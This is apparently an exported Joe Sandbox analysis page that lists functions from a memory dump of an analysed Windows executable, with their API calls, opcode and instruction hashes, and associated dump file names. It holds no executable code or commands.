Opcode ID: 017ed3c91b67ad1c0cce73e43843a1f5cc847aa13f99aa7bee623e3d38b0f626
Instruction ID: d07757cfeac22b0fc811e3cf66b86791d9fbde389e40de3eb3ce23e454b74637
Opcode Fuzzy Hash: 017ed3c91b67ad1c0cce73e43843a1f5cc847aa13f99aa7bee623e3d38b0f626
Instruction Fuzzy Hash: 7F51CDA1A487D53DFB3682348C45FBBBEAD5B06304F088989E1E9958C2D3D8EDC8D751

Function 0094ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 0094AD19
GetKeyboardState.USER32(?), ref: 0094AD2E
SetKeyboardState.USER32(?), ref: 0094AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 0094ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 0094ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0094AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0094AE38

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: f8170d714a66dfba414e371c5ae0911f7082c2db1a482fb666472596797fd4d7
Instruction ID: d024219403177082123ff83c33a2d030644adfa65a41f6c20de630db985a2b86
Opcode Fuzzy Hash: f8170d714a66dfba414e371c5ae0911f7082c2db1a482fb666472596797fd4d7
Instruction Fuzzy Hash: 8251D5A19887D53DFB3683348C95F7B7EAC5B46304F088588E1E9468C2D294ED88E752

Function 0091542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00923CD6,?,?,?,?,?,?,?,?,00915BA3,?,?,00923CD6,?,?), ref: 00915470
__fassign.LIBCMT ref: 009154EB
__fassign.LIBCMT ref: 00915506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00923CD6,00000005,00000000,00000000), ref: 0091552C
WriteFile.KERNEL32(?,00923CD6,00000000,00915BA3,00000000,?,?,?,?,?,?,?,?,?,00915BA3,?), ref: 0091554B
WriteFile.KERNEL32(?,?,00000001,00915BA3,00000000,?,?,?,?,?,?,?,?,?,00915BA3,?), ref: 00915584

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 3940286015e3d4a6283728b1f3c3a0af8d55640a0dad624cdb63daadca4fd897
Instruction ID: 805dbcdf876b633db3ea388f9044658cea219ca05e38425cfa1d15268a919754
Opcode Fuzzy Hash: 3940286015e3d4a6283728b1f3c3a0af8d55640a0dad624cdb63daadca4fd897
Instruction Fuzzy Hash: 9E51E5B1B00609DFDB10CFA8D845AEEBBFAEF49300F16451AF555E7291D7309A81CB60

Function 00902D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00902D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00902D53
_ValidateLocalCookies.LIBCMT ref: 00902DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00902E0C
_ValidateLocalCookies.LIBCMT ref: 00902E61

Strings

csm, xrefs: 00902DF6

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: ffc3c42e9283f981ce17ece279fa40b1e6391fdd7a716f8805641a5dcbfb332f
Instruction ID: 5771cdf44958b204bb4f42d5e2f491460c38b705d42ca641f3daa6f06187eee3
Opcode Fuzzy Hash: ffc3c42e9283f981ce17ece279fa40b1e6391fdd7a716f8805641a5dcbfb332f
Instruction Fuzzy Hash: 4E418E34A00219EFCF10DF68C859A9EBBB9BF85324F148195E814AB3D2D775AE15CBD0

Function 009610B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0096304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0096307A
Part of subcall function 0096304E: _wcslen.LIBCMT ref: 0096309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00961112
WSAGetLastError.WSOCK32 ref: 00961121
WSAGetLastError.WSOCK32 ref: 009611C9
closesocket.WSOCK32(00000000), ref: 009611F9

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 401be9b4ab414cd56d12de1b623dabbb56e37da6cc4911beaee8310730b763e5
Instruction ID: a7b066bd64e21b7f1122ae5f88aac9d7257a4325b4da019b67993f67f5870a32
Opcode Fuzzy Hash: 401be9b4ab414cd56d12de1b623dabbb56e37da6cc4911beaee8310730b763e5
Instruction Fuzzy Hash: 2C41F672604204AFDB109F14C885BAAB7E9FF46364F198059FD19DB291CB74ED81CBE1

Function 0094CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0094DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0094CF22,?), ref: 0094DDFD

Part of subcall function 0094DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0094CF22,?), ref: 0094DE16

lstrcmpiW.KERNEL32(?,?), ref: 0094CF45
MoveFileW.KERNEL32(?,?), ref: 0094CF7F
_wcslen.LIBCMT ref: 0094D005
_wcslen.LIBCMT ref: 0094D01B
SHFileOperationW.SHELL32(?), ref: 0094D061

Strings

\*.*, xrefs: 0094CFF3

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 39bb66a05626741b844fa6b2025af918f894e4c4fc1da8768f90ad8fc9d6aee5
Instruction ID: 9c398c78981813a57f42eba183ad320be532aeb42ac62ba7c53fe37a7faaf1fa
Opcode Fuzzy Hash: 39bb66a05626741b844fa6b2025af918f894e4c4fc1da8768f90ad8fc9d6aee5
Instruction Fuzzy Hash: 484156B59462189FDF12EBA4C981FDEB7BCAF48380F1000E6E505EB141EB35A688CB50

Function 00972DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00972E1C
GetWindowLongW.USER32(?,000000F0), ref: 00972E4F
GetWindowLongW.USER32(?,000000F0), ref: 00972E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00972EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00972EE0
GetWindowLongW.USER32(?,000000F0), ref: 00972EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00972F0B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: e99fe97a4f8ba665c70e40e18fe838b32028a3b7a20873a7e05671979b8ea160
Instruction ID: 54898307ef22e19d92aa02da98af61a2e3f0b04fcb5eb489d9dc67812c153cec
Opcode Fuzzy Hash: e99fe97a4f8ba665c70e40e18fe838b32028a3b7a20873a7e05671979b8ea160
Instruction Fuzzy Hash: 69311532628141DFDB20CF58ED94F6937E4EF8A720F154168F9488F2B1CB71A880EB41

Function 00947726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00947769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0094778F
SysAllocString.OLEAUT32(00000000), ref: 00947792
SysAllocString.OLEAUT32(?), ref: 009477B0
SysFreeString.OLEAUT32(?), ref: 009477B9
StringFromGUID2.OLE32(?,?,00000028), ref: 009477DE
SysAllocString.OLEAUT32(?), ref: 009477EC

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: b9d4be5985439064cd734171380556c79372139e47268a08381f86d1630eb307
Instruction ID: 86584bfb04b83875d53a37d7d5e082062876016e41d4c674b4ecf7fd5403304b
Opcode Fuzzy Hash: b9d4be5985439064cd734171380556c79372139e47268a08381f86d1630eb307
Instruction Fuzzy Hash: 6421B07660821DAFDB10DFA8CC88CBBB7ACEF093647408429FA19DB161D770DC8187A0

Function 009477FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00947842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00947868
SysAllocString.OLEAUT32(00000000), ref: 0094786B
SysAllocString.OLEAUT32 ref: 0094788C
SysFreeString.OLEAUT32 ref: 00947895
StringFromGUID2.OLE32(?,?,00000028), ref: 009478AF
SysAllocString.OLEAUT32(?), ref: 009478BD

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: e488724f24de8ee22a116f61f6703c3351477e11843b2c5345e2e769ec390e97
Instruction ID: 89e0f5dd3ad16cb584b5d7d43b807a3678449392ecc50f09806a2da169662aa4
Opcode Fuzzy Hash: e488724f24de8ee22a116f61f6703c3351477e11843b2c5345e2e769ec390e97
Instruction Fuzzy Hash: D5213E76608208AF9B109BE8DC88DAAB7ACEB097607108525BA15DB2A1D774DC81DB64

Function 009504D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 009504F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0095052E

Strings

nul, xrefs: 00950567

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: bd41876a8b9b6cefaa9f8649cbb79ad8b822d21efe4fa9ac714fa5a8b42aef55
Instruction ID: fa546b65b27ca7f59ec072c28b610b64ad5dc8cd98f058e25c0fe293b777f1c5
Opcode Fuzzy Hash: bd41876a8b9b6cefaa9f8649cbb79ad8b822d21efe4fa9ac714fa5a8b42aef55
Instruction Fuzzy Hash: 85217E71500305EBDB20CF2BD804A9A77A8BF84725F204A19FCA1E62E0E770D949DF20

Function 009505A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 009505C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00950601

Strings

nul, xrefs: 00950639

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 35ec3bb95645f632c079d1e2b8e4a63de46fe2fe9c28559a8ee9bf3bf35dbe13
Instruction ID: 12fc06fd3aa649fd2e1b97493e6bc3199f18af0d9f9ab64dc5746a697c5bc928
Opcode Fuzzy Hash: 35ec3bb95645f632c079d1e2b8e4a63de46fe2fe9c28559a8ee9bf3bf35dbe13
Instruction Fuzzy Hash: 92217F75501306DBDB20DF6ADC04A9A77A8AFD5721F240B19FCA1E72E0E77099A4CB10

Function 009740AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008E600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 008E604C
Part of subcall function 008E600E: GetStockObject.GDI32(00000011), ref: 008E6060
Part of subcall function 008E600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 008E606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00974112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0097411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0097412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00974139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00974145

Strings

Msctls_Progress32, xrefs: 009740E3

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 9ac833eb63b6e0dc05b55429b8b3c04c0d11acd3abbe8fd50bfb438e39095aef
Instruction ID: 02d5693dd89e56fadc5c5c715c428b7bd036dbeb72ceff6d6c288b99f9d65e89
Opcode Fuzzy Hash: 9ac833eb63b6e0dc05b55429b8b3c04c0d11acd3abbe8fd50bfb438e39095aef
Instruction Fuzzy Hash: 1511B2B2150219BEEF119F64CC86EE77F9DEF19798F108110BA18A2050C7729C61DBA4

Function 0091D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0091D7A3: _free.LIBCMT ref: 0091D7CC

_free.LIBCMT ref: 0091D82D

Part of subcall function 009129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000), ref: 009129DE
Part of subcall function 009129C8: GetLastError.KERNEL32(00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000,00000000), ref: 009129F0

_free.LIBCMT ref: 0091D838
_free.LIBCMT ref: 0091D843
_free.LIBCMT ref: 0091D897
_free.LIBCMT ref: 0091D8A2
_free.LIBCMT ref: 0091D8AD
_free.LIBCMT ref: 0091D8B8

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: ab4facfb0111765fd200093cf298ee1fe1f7371c4c785adedc0ab37f9f34c76f
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 841151B1742B0CAAE521BFB0CC47FCB7BDC6F80710F440825B2A9AA0D2DAA5B5A54650

Function 0094DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0094DA74
LoadStringW.USER32(00000000), ref: 0094DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0094DA91
LoadStringW.USER32(00000000), ref: 0094DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0094DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0094DAB9

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: 2dfdd13105642c6ab940b2c679991d2dc8a4448d30d91366b726b05ab2dc033d
Instruction ID: c536526b27fdda80524e64e7d168f72ad4419362845e3e0eb669d888de55c4f9
Opcode Fuzzy Hash: 2dfdd13105642c6ab940b2c679991d2dc8a4448d30d91366b726b05ab2dc033d
Instruction Fuzzy Hash: A70186F75142087FE711ABA09D89EEB376CE708705F4048A9B74AE2041EA749EC44F74

Function 0095096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(011DE358,011DE358), ref: 0095097B
EnterCriticalSection.KERNEL32(011DE338,00000000), ref: 0095098D
TerminateThread.KERNEL32(?,000001F6), ref: 0095099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 009509A9
CloseHandle.KERNEL32(?), ref: 009509B8
InterlockedExchange.KERNEL32(011DE358,000001F6), ref: 009509C8
LeaveCriticalSection.KERNEL32(011DE338), ref: 009509CF

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: af03f5f9ae3eb02609cb377bd125aeb69a1baa3a9915cbe70de8f771b97dd08f
Instruction ID: 457a86b412d4248907f54e1a0d6081fe34ecf15e42338ca1c14c8f169d320dbd
Opcode Fuzzy Hash: af03f5f9ae3eb02609cb377bd125aeb69a1baa3a9915cbe70de8f771b97dd08f
Instruction Fuzzy Hash: BFF03C7345AA02FBD7415FA4EE8CBD6BB39FF41702F402029F206A08A5CB7494A5DF90

Function 00961C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00961DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00961DE1
WSAGetLastError.WSOCK32 ref: 00961DF2
htons.WSOCK32(?,?,?,?,?), ref: 00961EDB
inet_ntoa.WSOCK32(?), ref: 00961E8C

Part of subcall function 009439E8: _strlen.LIBCMT ref: 009439F2

Part of subcall function 00963224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,0095EC0C), ref: 00963240

_strlen.LIBCMT ref: 00961F35

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 739b06dfb8d92b30bdafeb8990f370859093837d7b7b78a5a5123f1254494826
Instruction ID: ecd7af8166573e8eed6c0ecb621e2b3f388db174e12185dad2a697b1890f7f74
Opcode Fuzzy Hash: 739b06dfb8d92b30bdafeb8990f370859093837d7b7b78a5a5123f1254494826
Instruction Fuzzy Hash: 54B1D131604340AFC324DF28C895E2A77A9FF85318F58895CF5569B2E2DB71ED42CB92

Function 008E5D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 008E5D30
GetWindowRect.USER32(?,?), ref: 008E5D71
ScreenToClient.USER32(?,?), ref: 008E5D99
GetClientRect.USER32(?,?), ref: 008E5ED7
GetWindowRect.USER32(?,?), ref: 008E5EF8

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

